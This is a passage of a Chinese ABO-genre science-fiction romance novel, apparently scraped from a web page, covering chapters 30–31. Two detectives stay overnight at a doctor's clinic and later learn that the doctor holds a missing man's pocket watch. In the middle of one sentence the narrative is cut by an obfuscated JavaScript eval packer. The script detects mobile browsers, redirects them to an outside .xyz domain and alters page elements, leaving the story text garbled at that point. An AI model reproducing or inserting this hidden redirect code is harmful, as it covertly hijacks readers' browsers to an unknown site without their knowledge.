在厨房里拿到林息那份后,她深刻反省自己,脸红什么呢,整得跟他俩之间真的有什么事儿似的。 但她还是给林息多拿了一把调羹。 三人围坐茶几前吃饭,林息和医生坐沙发,池泷坐在对面沉灰已久、看不出颜色、不知道医生从哪里翻出来的小马扎儿上。 食不言,寝不语。 三人沉默地吃完了这顿饭。 饭后林息本来要帮忙收拾,被池泷强制压下,正好医生也拿来了另一碗透明液体,看到这一幕,他倒没再说什么,反而看起来有些沉思。 “你别忙活了,把药喝了,稳定一下信息素,不然有得忙。”池泷完全站在医生这边,她将锅碗瓢盆都弄好回到前院时,林息已经起身,毯子和靠背已被折叠收纳好,正和医生坐在桌前喝茶。 “今天你们就住这儿,卧室在那头,杂物较多,稍微一收拾就行,床单被褥恰好今天刚换过。”蓝发omega指指前面,“晚上门外的人就散去了,这附近荒无人烟,也没什么大型野兽,锁好门就行。” “明天我再来领你们。”说完这话,他就起身,好像准备离开。池泷赶紧上前,准备拦住他问问洛熙的事儿,却见对方突然看向自己,一脸恶作剧的表情,“哦,看我这记性,忘记跟你说了,我是洛熙。” “……”这个充满“恶意”的笑容一时间让池泷无语。 所以——那个别人口中老实巴交、沉默寡言的吴天语,为什么会有一个性格完全相反的伴侣? 眼看着洛熙离开,池泷走到林息身边坐下,看着他噙着笑意优雅喝茶的样子,她瞬间感觉牙根痒痒:“你知道了?” 药还是有效的,刚才吃饭时,池泷就再次感觉到了崖柏的流动。 只不过此刻它一蹦一跳,像个小孩儿一样调皮又开心。 “我醒来后跟他说了好一会儿话,那时你刚去厨房没多久,”又喝了一口茶,林息用杯子挡了挡压不住的嘴角,然后说道,“顺便说到来这儿的目的,所以知道了他的身份,再后来一直没找到机会跟你说。” 好吧,其实也不是没机会。林息偷偷想,只是自己见到她那一瞬间太高兴了,以至于根本想不起来这些杂七杂八的事。 他从茶几抽屉里找出一只新的杯子,倒上茶水后往池泷那里推了推,但池泷没接受,林息牙齿开始轻咬口腔内的软肉。 “我只喝白水。”感受到崖柏不安的流动,池泷出言解释。不知道为什么,她对除了白水以外的任何饮料都不喜欢,总觉得它们有一股奇怪的味道。 把杯子倒空后,池泷重新给自己倒了一杯白水,她喝了一口,然后开口:“虽然他是个好人,但你有没有觉得……” “很奇怪?”林息手中拿着茶杯,看着倒影出自己样貌的茶水,接道。 “嗯,”池泷点头,手指在杯把儿上轻点,“那样高超的医术,基本可以确定吴天语的那套适应性替代理论跟他有关,说明他以前应该也是从事生物工作的,又是omega。” “那家境和家教绝对良好,”林息移开目光,看向池泷,“那怎么会选择吴天语这样一个识别障碍者,还是街头混混的人?” “阿瑞亚和李光明显对他不太了解,明天去他家里,我们多看看,另外他的话我们也不能全信,”一口饮尽杯中白水,池泷感慨,“有这么高超的技术,就算去央星也能名声大噪,怎么肯蜗居在这么一个原始……” 还没说完,池泷就闭了嘴,她突然反应过来:万一又是一个于行止呢? 反而林息说了一句“不清楚”,最后池泷也只是长长地叹了一口气。 和洛熙说的一样,天色渐暗,门外的聚落也逐渐散去。 夏日天长,星月总是早早就出门营业,如果赶上不下雨的时候,夜晚看星无疑是一件美事。 所以晚餐过后,池泷看着林息把药吃了,然后搬了一张凳子和白天那个马扎儿放在门口,凳子上放着靠枕和小毯。 尽管乔木围绕,但坐在木香味的圈圈内部,还是能看见部分星空的,而且因为气候复杂,各种树木花草长在一起,竟然没有蚊虫,反而幽风阵阵,清凉得很。 总觉得还差一把蒲扇,池泷看着无数星点缀深空的美色,心中有些好笑又有些遗憾。 “竟然还有这样的景象。”此刻林息坐着比她高了一头,看她双手扶在腿上、双腿掰折敞开的样子笑了好久,这会儿观赏着如此夜景,心也渐渐安静,这是他第一次发现,夜晚的天空原来还有一番别的样貌。 “什么激光啊、霓虹啊,比这些可差太多了。”池泷此刻就像村口闲聊的老大爷,她下意识从上到下地拍着腿驱蚊,拍了几下又悻悻收手,“有时间总得来这种地方看看这样的星空,才能找找最初的东西。” “你有什么最初的东西?”听她这种仿佛历尽千帆的口气,林息好奇问道。 “非要说的话,大约就是,‘别忘了我是个人’,”看着和家乡一般无二的星空,池泷总能想起小时候的记忆,“事情多了、时间少了,我总问自己为什么乱七八糟的事总发生在我身上,人也开始变了、忘了。” “谁都会说船到桥头自然直,可没到桥头那段儿时间路程怎么办呢?”林息转头,眼前的人仿佛不是在跟自己聊天,而是自言自语,“再后来我就想,管他呢,反正我是个人,做什么事对得起‘人’这个称呼就行。” “好坏一般、高矮胖瘦,那都是给人的装饰,”说到这儿,林息看见她笑了一下,“可再怎样的形容词,最终还是得落在‘人’身上,那我就当人就行,可事情一多,我又忘了。” “人总是最难做的。”林息接道。 就连静谧的夜空,星子闪烁。理智的人描述那是幕后的太阳被反射而来的光辉,浪漫的人理解那是仁慈的神明给世间铺下的光明。 理智过于无情,浪漫过于多情,林息想,怎么做好像都不对,就像他自己。 “那可不,哪有能端端正正做个“全人”的人啊,所以才有了那么多形容词,”池泷的口气听起来像在开玩笑,“我不管,我就做个人,能立住、能走就行,别人问我‘你是个什么东西’的时候,我能毫不犹豫说出‘我是个人’就行。” 被她这套无赖又孩子气的理论笑到,林息“哈哈哈哈哈”地笑开。 “原来你也会这么笑,哈哈哈哈,”看着林息的“大笑”,虽然比自己还是收敛了点,但对池泷来说,这又是一次新奇的体验,“我一直以为像你这样稳重高冷的人,应该一直都很……矜持的。” 她找不到合适的形容词,搜肠刮肚才找了这么一个差不多的,因此说“矜持”的时候,池泷的手指在空中转了两圈。 “那是你们给我的形容词,”林息用刚才池泷的话回复到,“我也是个人。” “哎呀,你可太奸诈了,竟然用我的话敷衍我!”池泷用手敲了敲板凳,“咚咚”的两声表达了自己的不满。 随即两人没再说话,不约而同地继续欣赏可能是难得一见、可能是难以看见的星空。 如果再早点就好了,林息靠着软软的靠枕偷偷想,早点遇到她、早点来到这儿,说不定就能早点这么开心。 但如果再晚点也挺好,他难得将脊背松弛下来,身体的重量把靠枕压得变形,如果时间能过得再慢点、再晚点,就当是自己对虚无神明的祈求,给自己一个永远不会忘记的回忆也很好。 31.第30章 天色再晚的时候,夜风渐凉,两人怀着平和温馨的心情回到屋内。 事情发展到这儿,本来今天应该算是有了个比较温馨的结尾。 但池泷在小小的一层小屋内翻遍了也找不到第二间卧房时候,这个心情,它破碎了。 相对于林息好整以暇地靠在双人床头看着她自欺欺人地寻摸屋中是不是有什么“暗房”,池泷就像热锅上的蚂蚁。 卧室就一间就算了,连床褥都只有一套! 更可气的是,卧室可能因为常年无人居住又平日里被经常用作仓库的原因,房间里除了一张床、两张椅子外什么也没有,而且到处都陈旧且带有浮灰,尤其地板上的积灰早就凝在了一起,躺在上面……绝不可能躺在上面,有点过于恶心了。 虽然池泷也是在艰苦环境中睡过练过的人,可那个时候一般是有一层睡袋的,而睡袋,就恰好被自己遗忘在酒店,毕竟谁能知道竟然没办法当天往返呢。 “你在纠结什么?”池泷看见林息望向她的眼神,纯良得像一只小绵羊,“再说,睡一起吃亏的也是我。” “这不是吃不吃亏的问题,”她不太喜欢林息说这样的话,“就是……”愈发扭扭捏捏,但池泷自己也不知道在扭捏什么,说不上个所以然。 但她发誓自己绝不会对林息做些什么,可她也不知道为什么不愿意两人就这样睡在一起。 “如果今天在这儿的是尹霄,你也会这么纠结吗?”看她一直背对自己,林息终于理解为什么总有人愿意翻白眼了。 当然不会这么纠结,池泷心想,可同样的,尹霄在这里的时候也绝不会存在睡袋不足的问题。 不知道该高兴还是该无语,看着池泷迟迟没有回话,林息继续劝导:“你就把我当尹霄不行吗?” “这不……”说到一半,池泷愣住了,有什么不一样呢? “总归你也折腾一天了,alpha也是需要休息的。如果实在纠结,要不我睡地上?”林息不带好心地提出另一个建议。 激将法,这绝对是激将法。 站在陷阱面前的池泷心中门儿清,但她犹豫了两秒,还是不争气地跳了下去,跳下去之前,她心中大喊“都是兄弟!!!”,可跳下去的动作却仿佛在英勇就义。 “我先去洗漱。”在落到坑底之前,池泷选择先去卫生间缓冲一下。 明明都睡过了,林息心中实在好笑,池泷身上总是带着一些和别人不太一样的地方。 他摸摸自己的后颈,那里的腺体和平日里不一样,鼓鼓的,他想起白天洛熙对自己说的话。 “你应该比谁都清楚你的腺体状况吧。”蓝发omega神色正经、脸上带着池泷从未见过的严肃。 听到这话,林息点点头,他绝不可能在不认识的人面前说这样隐私的事,但眼前的人,池泷选择相信他给自己做治疗,那自己也会相信。 “我这些药只是帮你压制住了引导素的刺激,剩下的是你和你伴侣的事。”洛熙看着眼前的少年,明明第一次见面,却总觉得很熟悉。 “引导素?”这个词也引起了林息的警觉。 为了平权,让omega从生育的战争职责中解脱出来,这种东西星联早就禁止研究了。 而且原先的引导素因为研究不充分,很容易造成omega死亡,另外在后续改进的研究过程也是举步维艰,怎么可能还有人在弄这些东西? “和以前的那种引导素不太一样,”洛熙没有多说,“一般不会对人造成什么影响,但是也不排除对某些腺体会产生负面刺激的可能性。” 看见林息想要继续追问的样子,洛熙紧接着撇清:“其余的我也不清楚,毕竟我只是个赤脚医生,这都是猜测,只是刺激你的这种东西跟引导素原理差不多就是了。” 要说不说,指定有诈。 林息醒来时大致打量了一眼周边,眼前这个人就凭着一根听诊器就知道自己腺体的情况,又用一个普通版治疗仓和奇奇怪怪的草药就解决了信息素紊乱。 这种医术,就算在央星,哪怕他是omega,也会在私底下受人追捧的吧? 然而他此刻还在自己眼前故弄玄虚,目的到底是什么呢? “你们夫妻俩来这里做什么?”蓝发omega突然问道。 “找人。”林息听起来还是有几分虚弱,他的信息素虽然被暂时梳理顺畅了,可发热期还在,毫无征兆的爆发还是超出了身体的承受度。 虽然不明白池泷是怎么跟眼前的人说的,不过被医生认为是伴侣,林息心中莫名觉得安定。 “哦?”想起这边人的“成分”,蓝发omega惊讶了一下,随即他反应过来,表情看起来有点不确定,“你们是来找‘洛熙’的吗?” “嗯,”林息点点头,但他也好奇,“你怎么知道?” “因为这里的人大多是被社会‘抛弃’、‘淘汰’掉的人,一般不会有人来找,”蓝发omega无所谓地耸耸肩,“你们能来只说明有人特意通知的。” “而恰好你就是那个通知我们过来的‘洛熙’。”事情说到这儿已经很明了,林息毫不怀疑眼前的人只能是那个洛熙。 “嗯哼,没想到你们会来,还来得这么早。我还以为央星来的侦探只要一打听,就知道这里偏远荒凉,怎么也得叫我过去,”洛熙语气的挖苦听起来不像是假的,最后还假惺惺地加了一句,“我都做好要出门的准备了呢。” 假装没听懂他的讽刺,林息在知道他是洛熙的一瞬间,心中有更重要的事,他抬起头,直直盯着眼前的人,表情十分认真:“你还记得‘尚自流’吗?” “尚教授?”听见这个名字,洛熙下意识直起腰背,摆正了坐姿,“你怎么知道的?” 尚自流这个名字,曾经代表着生物研究界新人类发展与研究分支的绝对意见。 他对新人类的研究已经到达当时的最高水平,尤其在腺体与信息素方面,绝对是泰斗中的泰斗。 而洛熙跟他有着“一课之师”的缘分,那堂课,尚教授并没有因为自己是omega就将自己赶出去,反而因为自己个子不高,就被安排坐在了前面。 也并没有因为自己是oemga,就被特意点出或照顾,那个年轻英俊的教授脸上有着忍不住让人亲近的笑容,他说:“我的课只要想学,都可以来。只不过早到的人有位子坐,而且得按照高矮坐好,不要挡住后面学生的视线。” 他到现在都记得,周边的学生密密麻麻,最后他们多到有些人必须得蹲或站在大礼堂中。 更重要的是,那里面的高材生们alpha、beta都有,omega仍旧凤毛麟角,但没一人将注意力分给自己,他们的眼中只有对教授的尊重和对知识的渴望。、 性别这样重要的事,在这里反而无足轻重。 那是他20多年过得最受益匪浅,也是最舒心的两个小时。 只是,那样好的一个人,因为某些见不得光的原因,英年早逝,而那些课堂记录也没有在星网上留存。 洛熙看看眼前的青年,暗暗估摸着他的年龄,心里不住地泛起嘀咕,没听说尚教授结婚生过孩子,加上被特意打压的缘故,现在年轻人基本没可能知道他的名字。 “我不仅知道他,我还知道他的‘替代适应性理论’。”林息解释道,不顾洛熙惊讶的表情,他说出最重要的那句话,“你应该也是跟他学的吧,吴天语发病较早,却没被送走,这套理论功不可没。” 看着洛熙变得愈发防备的表情,林息倒是心中更加平静,甚至还有些高兴这套理论竟真的起了作用。 “我来并不是为了举报或者威胁你什么,我只是想跟你说,如果池泷,也就是……我的伴侣,问起这个事情,请你不要把尚自流的名字和事迹告诉她。”林息眼中神色真切,“你能明白的吧,就算是伴侣。有些时候有些事也没办法当下说出口。” 在知道眼前人是洛熙时,林息就隐约猜到洛熙和吴天语的婚姻或许不像是表面看起来那样简单,一个有家教有天赋的人爱上一个已经发病的识别障碍者,这种事情一般只能作为童话故事。 果然,林息的话可能是起了作用,洛熙神色复杂地点点头答应了。 他也没再追问林息是从哪里得知这套理论的,知道这些的人大都心照不宣,偷偷藏好,不要给已经过世的老师再招来麻烦。 这时,池泷端着饭菜进来了。 饭后那一小段闲聊的功夫,洛熙对林息的态度比刚才好了不少,他偷偷跟林息说:“我跟老师也就只有一节课的缘分,可我后来去咨询老师那套理论时,他仍旧愿意全教给我,似乎并不顾忌我是不是别方派来的‘卧底’。而事实证明,那套理论确实好用,天语顺利通过了王室的隔离测试。” “只要有人愿意去学,他不问出处,都是愿意教的,”林息轻啜了一口茶水,“他应该也很高兴,好不容易过了临床测试的东西,虽然大多数人都嗤之以鼻,可在他过世后,仍旧有人愿意去实践。” “可惜没留下什么资料,不然我们这些人,说不定还能给老师正名。”一脸遗憾的洛熙说完后长长地叹了口气。 “不可能的,有些原因,外人是不能知道的,”林息转头看着身旁的人,语气坚定,“而且没留下任何记录也是为了所有人好,如果被人发现去上了他的课,就算不被有心人举报,也会被怀疑偷学那套理论了。” 洛熙瞬间明白,这样一来,吴天语的隔离测试怎么可能会通过? 他瞬间红了眼眶,使劲儿眨了眨眼,语气悲痛:“可惜这样好的人早早地、悄无声息地没了。” “他确实是个极其令人尊敬的教授。”林息接道。 但自己并不喜欢他,他想,甚至还有些恨他。 总之或许是看在多年以来难得有人还记得甚至认同尚教授的份上,洛熙终于不再追问林息跟尚自流的关系。 看林息的口吻似乎对尚教授很了解,又是央星的人,估计这些事是从不知道哪里的渠道知道的,那他俩也算同窗了。 回忆到此为止,池泷这时也从卫生间里出来了,她依旧穿着白天的那套衣服,估计是真的没想到会留宿,什么也没拿。 “幸好还有块香皂,也给了两条毛巾,”池泷看上去十分庆幸,“肥皂我就用了几下,用完之后又清洗了一遍,你放心用。粉色毛巾是我的,给你留了条蓝色的。” 擦过后的墨发仍慢悠悠地滴着水珠,池泷肩膀搭着那条粉色毛巾,板正地坐在椅子上,想凭借夏日的温度和窗外偶尔吹来的夜风加速干发。 路过时,林息忍不住上手勾了勾令人手痒的发丝,这个举动把池泷吓了一跳,罪魁祸首依旧是满脸无辜,“我干了什么不好的事吗?你怎么反应这么大?”的表情明晃晃地刺眼。 “我……”过于敏感的池泷无法解释不知道从哪里来的敏感,林息能有什么问题呢? 她深刻怀疑自己是不是思想太龌龊,尽管自己真的没想过要做什么,她选择甩锅加逃避,“我刚洗完头发,头皮有些敏感,你快去洗吧,再晚头发更不好干了。” 拙劣的理由,但总不能真的吓到她。 于是林息乖巧地点头,转身往卫生间走去。 “对了,卫生间的橱里有一套睡衣,中号正适合你穿。”池泷的声音从身后传来。 她疑惑为什么只有一套睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894866|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,不过自己也穿不上,也没过多纠结。 脱衣服的时候,看见镜子里自己全身的伪装,林息突然有些反感。 他摸索到头发后面的开关扣,摁了下去,雪白的皮肤暴露在灯光下,霎时让卫生间似乎都亮了一点。 依旧是金色发丝,配上琥珀色眼眸、粉白的薄唇,比配上亚麻色更显得娇弱了些。 肌肉线条流畅、匀称的身体让人想起白瓷做的雕塑,可它并不会像白瓷那样轻易就会弄碎。 还是不好看,林息皱起眉头,信息素紊乱让自己看起来更苍白不健康了一些,还有乱七八糟的发色。 又看了眼手中的伪装按钮,他握了握,最终还是选择将它放在了洗手台上。 头发基本快干的池泷听见卫生间门响,下意识回头看去,下一秒“哐”地站了起来。 “你你你你……”语无伦次的池泷快要被惊掉了下巴,眼前出现的是只改了发色的林息,却是最真实的、池泷脑海里的林息,但在震惊的同时,“你”了半天的她也突然想起,她哆嗦着手比划了一下,“这样很危险的,万一被人看见,不就白瞎了吗?” 其实在学校,从大一开始,老师就耳提面命“不要轻易脱下伪装”,尤其是卧底行动,无疑是又蠢又毒的一种行为,因此这已经成为每一名军校生心中的铁律了。 “也不是什么重要的行动,被人发现又怎样呢?”穿着柔软舒适睡衣的林息向床走去,他的肩膀上也搭着那条蓝色毛巾,头发不停地滴水,将床上的薄被放到一边,自己坐在床上,双腿分开,看着眼前红成一团还不自知的人,歪着头微笑,“而且我很不舒服,想脱下来。” 睡衣是夏天的睡衣,所以衣袖和裤腿都很短,白花花的场面和那副可爱的表情同时出现,池泷不禁闭了闭眼,又听他说不舒服,她心中瞬间变了想法。 反正、反正自己保证他不被任何人看到不就行了嘛。 于是她才敢睁开眼,看见床上坐着的人正拿着光脑,似乎没有要擦头发的意愿,她又无声地叹了口气,走到他身后盘腿坐下,认命地问了句:“我来?” 毛茸茸的金发动了动,池泷拿起毛巾开始擦拭,擦头发过程中总能碰到林息的发丝,她忍不住轻轻捻了捻,心中感慨,竟然是真发染色,每次见他发色都不一样,可发质仍旧是如此柔软顺滑,连分叉都没有。 也不知道是基因好还是护理好,可再好的头发也经不起频繁的折腾吧,也真舍得。 “工作需要嘛,没办法,”身前传来的声音早已不像记忆中那样清冷,此时还有点瓮声瓮气,“你可以擦得重一点,你不是说,不好干嘛。” 又被听见了。 不知道为什么在林息背后的想法总是会被自己说出口,池泷对自己感到无语,要不然老话说,不要在别人背后曲曲人呢。 为了让林息早点休息,池泷仔细、迅速地帮他擦干头发,将毛巾放回卫生间又回来时,林息早已在床上躺下,脚下是被他踹成一团的凉被。 “盖上肚子,不然半夜会着凉。”刻在基因里的盖肚子习惯,池泷没忍住出声提醒,不过她也没想到还能看到林息如此孩子的一面。 “嗯,知道了。”对方听见提醒,明显敷衍地应了一声,眼睛依旧盯着光脑,脚伸出去勾被子,不知道是被子太滑还是别的,每次勾到后被子就会溜下脚面,最后不得不出声求助,声音好像千转百回,“池泷……” 说真的,池泷挺喜欢自己的名字的,两个字都沾着水字旁,和自己的信息素也很配。 不过身边亲近的人一般都会叫她各种昵称,第一次被这样叫名字,池泷只觉得从头皮到脚趾都像过电一样得酥酥麻麻。 欲哭无泪的alpha自诩正人君子,可身体的反应却控制不住,实在是过于丢人了。她开始疑问,是不是自己的发热期也快到了。 快速给林息把被子扯了过来,然后道了一声“晚安”,便背着他侧躺准备入睡了。 还是赶紧睡着好,再不睡,睡着后梦到啥可说不定了。 知道什么叫不解风情吗? 池泷看不见的背后,她怀疑了各种情况也没怀疑过可能在故意勾引的林息一脸无奈,自己已经这么不动声色地主动了,而且洛熙也说自己发热期需要“伴侣”的帮助,她竟然还没有什么动作? 如果不是亲耳听见,她就算没意识也能在自己耳边叫出自己的名字,不停吻着自己的眼睛重复夸赞“你真美”,他可就真信她绝对不为美色所动了。 上次也是这样,明明彼此都那样动情了,可注入信息素以后再没有下一步,而自己怕吓到她也只能默默忍耐。 所以在清醒时,这么难攻克吗? 林息心中既酸楚又欣慰,前者来自于alpha的不动如山,后者是对她负责又正直的喜爱。 就在他想不行就扯着医嘱的幌子更进一步,刚准备倾身去碰身边一本正经的人,就听见她说:“如果发热期到了,如果你需要,我会……去做的。” 心中默默吐槽“谁说非得要发热期才做”,林息动作未停,没想到又听见她说:“对不起。” 伸出的手在池泷背后顿住了。 然后缓缓放下,修长的手指攥住薄被,几秒后,林息也仰面躺下,“嗯”了一句。 她仍旧在为那件不关她事的“意外”道歉。 他想,她今天其实也很累了,做了那样多的事。 他想,总不能逼她的。 他想,作为被追随者,偶尔也得听取追随者的意见吧。 而林息也没想到自己沉入睡眠会那样快,似乎在她身边总是这样,迷迷糊糊中他的最后一个想法,是她真的很好。 32.第31章 第二天,池泷醒来时,林息仍旧在睡。 老话说一回生二回熟,可能因为也不是第一次“同床共枕”了,这次池泷也没着急起床出门,反而轻轻坐起,往身旁的人看去。 哪怕睡着,也能看出面色基本恢复了正常。 不知道第几次感慨于洛熙出神入化的医术,池泷安心不少。 她这才发现,自己盯着睡着的人看了许久。 这是她第一次如此平和又清晰地看见林息真实的睡相,整个人一板一眼地仰躺着,因为阳光还是透过不太厚实的窗帘照了进来,正好落在林息的脸上,因此唯独脸侧向旁边,靠近微微曲起的胳膊。 不过脸和胳膊并没有完全贴上,倒不会留下印子,另一只胳膊安静则地贴在腹部。 阳光虽然扰人,可也有好处,林息的皮肤雪白得发亮,唇色红润,卷起的睫毛微动,活脱脱一副“白雪公主”的样子,只不过公主此刻眉毛轻皱,唇角轻轻抿起,似乎在做不舒服的梦。 池泷悄悄伸手挡住那束光,手掌的阴影落在林息脸上,似乎是自己正在抚摸他。想到这儿,池泷无声笑开,伸出食指勾了勾,影子也勾了勾他的腮颊。 睡着的雪白芍药此刻花瓣合拢,仍旧清冷非常,但池泷更期待它绽开的美貌。 早起眼前是这样一副美景,让池泷的心情暗搓搓地好极了。 要不是还要做早饭,池泷觉得自己愿意看一天。 她不得不放弃替公主遮光的重任,轻手轻脚地洗漱出门,屋外空气是不像在星联中会存在的清新,池泷深深吸了一大口。 早饭制作期间,池泷在后院逛了逛,看着两处歪歪扭扭的门框,她吸了吸腮帮,想起自己以前帮擎叔干过的木工活,决定帮洛熙改造一下。 这里可能只是洛熙的诊所,帮聚落里来往的人看病的地方。 今早池泷溜达时才发现后院的菜地里,有一部分种植着味道奇怪的作物,池泷估计那就是洛熙平日用的药草,再加上各种粗制滥造的建构细节,池泷才有了这个猜测。 轻轻一掰,整个门框就下来了,池泷从某个长草的边角搜罗出一个生锈的铲刀,把四周的泥巴铲平,然后再次把门框塞进去,用背包里携带的粘合剂一喷,结束。 门框不歪了,早饭也做好了,池泷将饭搁到茶几上,刚准备去卧室敲门,房子的大门就被人敲响了。 池泷看看茶几,该说不说,也不知道为什么,自己正好做了三人份。 门被打开,门外果然是洛熙,今天他穿了一件亚麻色短T,配着黑色工装裤,头发梳得干净利落,甚至还带了一副黑细边框眼镜,终于有种知识分子的感觉了。 “早安!”洛熙毫不客气地跨了进来,看到桌上的早餐,他挑起一边眉毛,估计是没想到池泷醒得还挺早,连饭都做好了。 “小夕还没起来,我去叫他,你吃饭了吗……叔叔?没吃一起坐下吃点儿。”实在不知道怎么称呼眼前这位,池泷估摸了一下,跟着李青叫人肯定是没问题。 “谢谢,那我不客气了。”话是这么说,洛熙说完却转身去后院拿碗筷去了,走之前还感叹,“年轻真好,闹得再晚也能早起。” 假装没听到这句话,池泷敲了敲卧室门说:“洛叔来了,早饭好了,醒了吗?” 下一秒门就被林息打开,他穿戴齐整,伪装也弄上了,只是发丝还有点凌乱,眼神倒是清亮,声音还有一丝迷蒙:“我刚洗漱完,辛苦你了。” 笑着点点头,池泷临走时,指了指自己的头发。于是林息又回去卫生间,估计是整理仪容去了。 五分钟后,三人坐在像昨日一样的位置,安静地吃饭。 饭后林息去收拾卧室,而池泷依旧收拾了餐桌,没想到洛熙也起身,帮池泷拿东西到后院。 他的眼神很奇怪,上下打量着池泷,池泷被他看得发毛,忍不住询问:“有什么事儿吗?” “没事儿,”洛熙笑眯眯,但笑容意味不明,“谢谢你帮我把门框弄好,我一直想弄来着,但没有时间,找人也麻烦。” “没事儿,”池泷也笑眯眯地回应了一句。 三人离开时,门口已经有三三两两的人,不少的新面孔。 洛熙将“今日不看诊”的木牌挂了出来,门外的人也只是看了一眼,并没人多嘴什么。洛熙带着俩人从另一条小路,往树林深处走去。 “你不是医生吗?为什么你和这里的人看起来不是很熟?”路上的三人依旧静默,池泷觉得这样的氛围有点尴尬,就提出了疑问。 “我确实是医生啊,但我也不是义诊,要价还挺高的,他们轻易不会找我。”接过话茬,貌似“奸医”的洛熙语气随意,“你们例外,毕竟你们是来帮忙找天语的。” “谢谢?”池泷不确定地回复——感谢他看在吴天语的面子上没有要价。 “嘁,装模作样,”洛熙翻了个白眼。 “他们的伤病,都挺严重的,有些我治不了,有些我能治但很费力。”洛熙状若闲聊,“你们来之前没调查?这里的人,基本都是难以在这个社会生存的边缘人。” “难怪他们看起来和善一些。”池泷终于明白第一天那些人的目光为什么有种单纯。 “和善?”洛熙讥讽道,“那是因为你,S级的alpha谁敢惹啊。这里的人都是人精,看不透你的等级,也能看清你的实力,不然你俩早被抢光了。” “那你在这里是为什么?不怕被抢光吗?”沉默中的爆发总是让人心惊的,一直没说话的林息,突然蹦出来惊雷般的一句。 池泷赶忙查看洛熙的脸色,但他似乎并不介意林息问这些,反而随意地回答:“我也是边缘人啊,外面没有我能踩的地方,这里到处都是。 “而且我拿捏着那群人的命脉,一百多号人里就我一个医生,有的是人罩着,没人敢得罪我。”他一脸得意,自信又欠揍的气质,总让人觉得他比实际年龄还要小上10岁。 “为什么觉得自己是边缘人,因为是omega吗?”池泷问出昨晚的猜测。 这句话倒引来了洛熙的侧目,他奇怪道:“你倒是挺明白omega的处境,还能正视它。” “不单单因为这些,还有别的原因及个人选择,复杂得很,”洛熙突然指了指不远处,那里有一座比诊所精致了不少的小木屋,“我家快到了。” 走到眼前,池泷才发现,小木屋比自己想象中的更加精致。 她打量了一下,在大门右边,红色油漆画着一个心形标记,和周围保养过、但仍有磨损痕迹的木板比起来,它显得尤为新鲜亮气。 “这屋子是天语给我建的,定期他会来帮我保养,”说到吴天语,洛熙的声音听起来充满着温馨,“里面的家具也是,他一件一件亲手给我打的。” 步入屋内,木头原始的味道清香怡人。 虽然是客厅,可四面墙壁全部都做了书柜,沙发桌椅一应俱全。 更令人震惊的是,每一处家具都做了雕花,如果仔细看看,会发现家具的连接处分毫不错。 这已经不是一般的用心了,池泷心中震惊,虽然从李光那里听说两人感情很好,可事实摆在眼前,她才知道到底好到了什么地步。 池泷两人坐到木刻沙发上,垫子柔软,木香怡人,这才有种“家”的感觉。 “小东西都是我做的,当然也是天语教的,”拿来杯子的洛熙语气骄傲,他另外的手里拿着一只装满水的透明玻璃水瓶,“只不过我俩都不太喜欢过于科技化的东西,也弄不明白那些你们说简单的操作,再加上这里偏僻,所以这里的一切都得自己手作。” 应该不是洛熙弄不明白,而是吴天语弄不明白吧。 环顾了一下四周,果然这座小木屋里,没有什么常见的机器人或者比较高级新型的机械,大多东西都像古星那样原始,甚至连星视都没有。 这两人,住得大差不差。 只是和吴天语的屋子比,这里多了人味儿。 “我懒得了解外界,巴不得离它远远的,看看书、听听八卦就够了,一方小天地也满足得很,因此也没置办太多东西,”回到家中的洛熙看起来休闲了许多,“我这儿只有白水,茶叶是昨天那群人给的,放在了诊所。” “麻烦了,白水就很好。”池泷客套道,拿起杯子刚喝一口,没想到洛熙就直奔主题。 “天语的怀表在我这里,但我并不打算给你们。” 差点没把嘴里的水吐出来,池泷轻咳了一声,随即问道:“他消失之前来找过你?” “没错,”洛熙表情坦白稳定,并没撒谎,“当年约定过,无论发生什么事,谁也不准来找我。” 他耸耸肩膀:“其实他们也找不着,因为我搬到这里以后,谁也没说,只告诉了天语。但他也不常来,如果不是我硬要他建这座木屋,他估计每个月也就给我打个钱。” “所以大约三个月前,那天也不是定期保养日,他突然来找我,我就察觉到不对了。”想起那日,洛熙的眼神看向远处,“我问他,他只说犯了错,要赎罪。” “而我察觉到他状态不对,就故意告诉他说屋顶漏水。这么多年只要他和我一起,总会先把怀表拿出来放进包里,果然趁他出门时,怀表被我偷来了,”洛熙眉毛皱起,这个看起来一直胸有成竹的人,终于露出担忧的表情,“他从来不会怀疑我,出门时也没有检查包。” “后来跟别人打听才知道,原来他被人污蔑偷窃,星警又来过,我没露面,只是找人打发他们走了,但由此我才确定他真的消失了,”说起打发走,洛熙一脸坦荡,并不觉得欺骗星警是一件不道德的事。 而后熟悉的讥讽又出现在洛熙脸上:“偷窃?天语是这个世界上心眼最实的人了,他总觉得对不起我,对不起他那群朋友,怎么忍心去伤害三人最大的心血成果呢?” “但消失这件事,我也很担忧,他绝不是那种会逃避问题、逃避责任的人,”此刻池泷在洛熙眼中看到深深的担心和真诚,“我猜到阿瑞亚他们会想找怀表来确定他的生死,所以就联系了他们。” “可你在电话中并没提及这件事,只是说没给你生活费。”池泷也皱起眉头,她奇怪地问,“你是不相信李光他们?” “不信,”斩钉截铁的话语让池泷吃惊,“我们四个虽然一起长大,可我跟那俩,也不过是因为天语在中间而有点交情罢了。况且这件事,他们竟然就任由新闻那样诋毁他,这也算朋友?” “因为里面有些事比较复杂,”池泷犹豫要不要跟洛熙说飞燕的事,毕竟他也算个局外人。 “牵扯到飞燕。”很好,omega总是语出惊人这件事,池泷已经很深刻地认识到了。 她看了眼出声的林息,摸摸脑门上不存在的“虚汗”,接着说:“没错,星警不想打草惊蛇,又怕这条线索断掉,因此才发出通缉。” “飞燕……”洛熙的脸上满是震惊和不信,粉黄色的眼眸在灰白的底色下,更加放大清晰,“他怎么会牵扯到飞燕?” 眼神看向桌角,洛熙喃喃自语:“绝不可能,他不可能和飞燕有任何联系。” 